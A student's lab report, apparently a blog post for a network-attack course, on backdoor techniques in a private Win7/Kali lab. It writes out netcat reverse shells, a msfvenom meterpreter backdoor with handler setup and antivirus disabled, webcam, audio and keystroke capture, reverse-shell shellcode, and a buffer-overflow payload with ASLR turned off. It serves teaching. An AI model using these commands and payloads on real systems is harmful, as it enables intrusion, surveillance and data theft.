2019-2020-2 网络对抗技术 20175311胡济栋 Exp2 后门原理与实践

2019-2020-2 网络对抗技术 20175311胡济栋 Exp2 后门原理与实践

目录

  • 一、实验介绍

  • 二、实验准备

  • 三、实验过程

    • 任务一:使用netcat实现windows,linux之间的后门连接
    • 任务二:使用socat获取主机操作Shell, 任务计划启动
    • 任务三:MFS meterpreter生成后门程序,并注入被控端进行远程控制
    • 任务四:使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容
    • 任务五:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
  • 四、实验要求

  • 五、实验感想

一、实验介绍

1.后门原理概念

  • 后门就是不通过正常认证流程而非法访问操作系统的通道,一般编译器、操作系统、应用程序中都可能留有后门。

2.后门操作流程

  • 获取常用后门程序,如netcat系列、meterpreter、intersect等
  • 通过软件程序自带、诱骗下载、恶意攻击等方式将后门植入电脑系统中
  • 通过开机自启动、win的定时任务、linux的cron服务或诱骗用户点击等方式进行成功运行
  • 避免被恶意代码检测程序发现,躲避恶意代码免杀技术
  • 传送数据时避免被本机或网络的防火墙发现(反弹式连接、加密连接、隧道技术)

二、实验准备

1.常用后门工具——NC

  • netcat,又名nc、ncat,是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
  • nc的基本功能如下:telnet / 获取系统 banner 信息、传输文本信息、传输文件和目录、加密传输文件、端口扫描、远程控制 / 正方向 shell、流媒体服务器、远程克隆硬盘。

nc常用控制参数:

  • -l,用于指定nc将处于侦听模式。指定该参数,则意味着nc被当作server,侦听并接受连接,而非向其它地址发起连接
  • -s,指定发送数据的源IP地址,适用于多网卡机
  • -u,指定nc使用UDP协议,默认为TCP
  • -v,输出交互或出错信息
  • -w,超时秒数,后面跟数字
  • -z,表示zero,表示扫描时不发送任何数据

2.常用后门工具——socat

  • Netcat++,超级netcat工具。任何代理、转发等功能都可以用该工具实现。

3.常用后门程序——Meterpreter

  • Meterpreter是Metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。
  • Meterpreter shell作为渗透模块有很多有用的功能,比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。

三、实验过程

任务一:使用netcat实现windows,linux之间的后门连接

1.Win下获得Linux Shell

  • 获得Win7的IP地址,其中我的Win7IP地址为192.168.40.133
  • Windows打开监听,使用ncat.exe程序打开监听ncat.exe -l -p 8888
  • 在kali中反弹连接Windows,ncat 192.168.40.133 8888 -e /bin/sh,使用-e选项执行shell程序
  • 可以看到,我们在Win7操作系统中获取得到了kali的文件信息

2.Linux获得Win Shell

  • 获得Kali的IP地址,其中我的KaliIP地址为192.168.40.132
  • 在Kali中运行监听指令nc -l -p 8888
  • Windows反弹连接Kalincat.exe -e cmd.exe 192.168.40.132 8888
  • 可以看到,我们在Kali操作系统中获取得到了Windows的命令指令

3.NC拓展知识——使用NC传输数据

  • 在Win7下监听8888端口ncat.exe -l 8888
  • 在Kali下反弹连接nc 192.168.40.133 8888
  • 成功建立连接后,双方可以互相传输数据
  • 在Win7下监听8888端口,并且将一会要接收的内容保存至文件20175311中,ncat.exe -l 8888 < 20175311.out
  • 在Kali下将想传输的内容写入文件中,并反弹连接nc 192.168.40.133 8888 > 20175311.in
  • 成功建立连接后,原来Kali中文件的数据传送到了Win7中

任务二:使用socat获取主机操作Shell, 任务计划启动

  • 在win7中找到控制面板-系统与安全-管理工具-任务计划程序,选择创建任务
  • 选择新建触发器,设置相应触发的时间
  • 在操作中选择每次需要执行的程序或脚本


任务三:MFS meterpreter生成后门程序,并注入被控端进行远程控制

  • 在kali中生成后门程序meter_backdoor.exe
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.40.132 LPORT=5311 -f exe > meter_backdoor.exe

  • 将后门程序拷贝到Win7中,注意需要提前关闭杀毒软件,不然会被自动删除。

  • 在kali中打开MSF监听程序msfconsole

  • 依次输入use exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset LHOST 192.168.40.132set LPORT 5311等命令进行配置。

  • 记住要关闭杀毒软件!不然就做不出来了!

  • 在win7中打开meter_backdoor.exe后门程序。

  • 在kali中输入exploit就能得到入侵成功的结果。

任务四:使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容

  • 获取目标机器win7的shell
  • 获取目标机器win7的音频文件
  • 获取目标机器win7的截图

  • 获取目标机器win7的摄像头失败
  • 进行进程迁移,将进程迁移至IE,这样就不用怕用户把当前这个进程关闭了。

任务五:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

  • 参考20175313张黎仙同学的博客的版本二进行实验操作
  • Exploit Database Shellcodes网站中下载生成好的shellcode,可以选择关键字搜索找到我们需要下载的内容。

  • 将里面的机器码取出
    \x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80

  • execstack -s pwn1设置堆栈可执行

  • execstack -q pwn1查询文件的堆栈是否可执行

  • more /proc/sys/kernel/randomize_va_space查看地址随机化的状态

  • echo "0" > /proc/sys/kernel/randomize_va_space关闭地址随机化

  • perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > 20175311input

  • xxd 20175311input

  • 按照实验一的操作进行,在a终端中输入(cat 20175311input;cat) | ./pwn1
  • 再打开一个b终端,输入ps -ef | grep pwn2查看进程号。启动gdb调试,输入attach 2140,然后再输入disassemble foo反编译。其中看到ret指令的地址为0x080484ae,再设置断点为break *0x080484ae
  • a终端中输入一个回车,程序执行到断点停止
  • b终端中输入c继续运行程序,输入info r esp查看esp寄存器地址,x/16x 0xffffd30c以十六进制查看之后16字节的内容。0xffffd30c+0x00000004=0xffffd310


  • 生成我们需要的shellcode作为pwn1的输入放在了input_shellcode中

  • msfconsole进入设置,use exploit/multi/handler

  • set payload linux/x86/shell_reverse_tcp这里一定要注意我们设置的是linux/x86的shell

  • set LHOST 127.0.0.1``set LPORT 4444

  • 被控制方输入(cat input_shellcode;cat) | ./pwn1

  • 成功控制,进行查看当前目录等操作

四、实验要求

1.例举你能想到的一个后门进入到你系统中的可能方式?

  • 有可能是在我们浏览网页的过程中不小心进入了某些钓鱼网站,被无疑植入了后门程序,也有可能是我们使用的操作系统中本身就存在相关的后门,被一些黑客利用后能够诱导我们启动程序或者设置定时启动,就能够在另外的主机上成功进入我们的系统了。

2.例举你知道的后门如何启动起来(win及linux)的方式?

  • 在windows中可以在控制面板-管理工具-任务计划中设置相关的自启动任务,或者可以将后门程序与一些正常应用绑定,就能够在用户使用正常程序时自动运行。

3.Meterpreter有哪些给你映像深刻的功能?

Meterpreter可以获取对方的摄像头和屏幕截屏还有录音,这些都让我印象比较深刻,因为我的认识中通过后门黑入系统只能是通过shell的一些指令还删改文件等操作。而这些录视频和屏幕截屏操作的确出乎我的意料之外,故让人印象深刻。

4.如何发现自己有系统有没有被安装后门?

我的整个实验过程都是关闭杀毒软件和防火墙的,以防止我们的后门被系统识别而删除。所以一般来说开启防火墙和杀毒软件就能够检查出正在入侵的后门,而查看进程管理器、注册表自启动项、端口能够识别查看是否有已经入侵的后门存在在我们的系统中。

五、实验感想

  • 这是网络对抗第二次实验,实验主要内容是研究后门是什么,后门如何不通过系统正当途径而非法进入用户的系统,后门如何进行伪装、如何自启动等内容。老师上课讲了大致的内容,然后我们通过视频加上学长学姐或是同学的博客来进行实验,本来以为老师说的这次实验相对上次简单一些。但是事实证明每个实验都需要花费大量的心思与大量的时间在其中,因为当你真正着手做实验时,可能会出现各种各样稀奇古怪的问题,所以真的不轻松。
posted on 2020-03-10 19:11  20175311胡济栋  阅读(238)  评论(0编辑  收藏  举报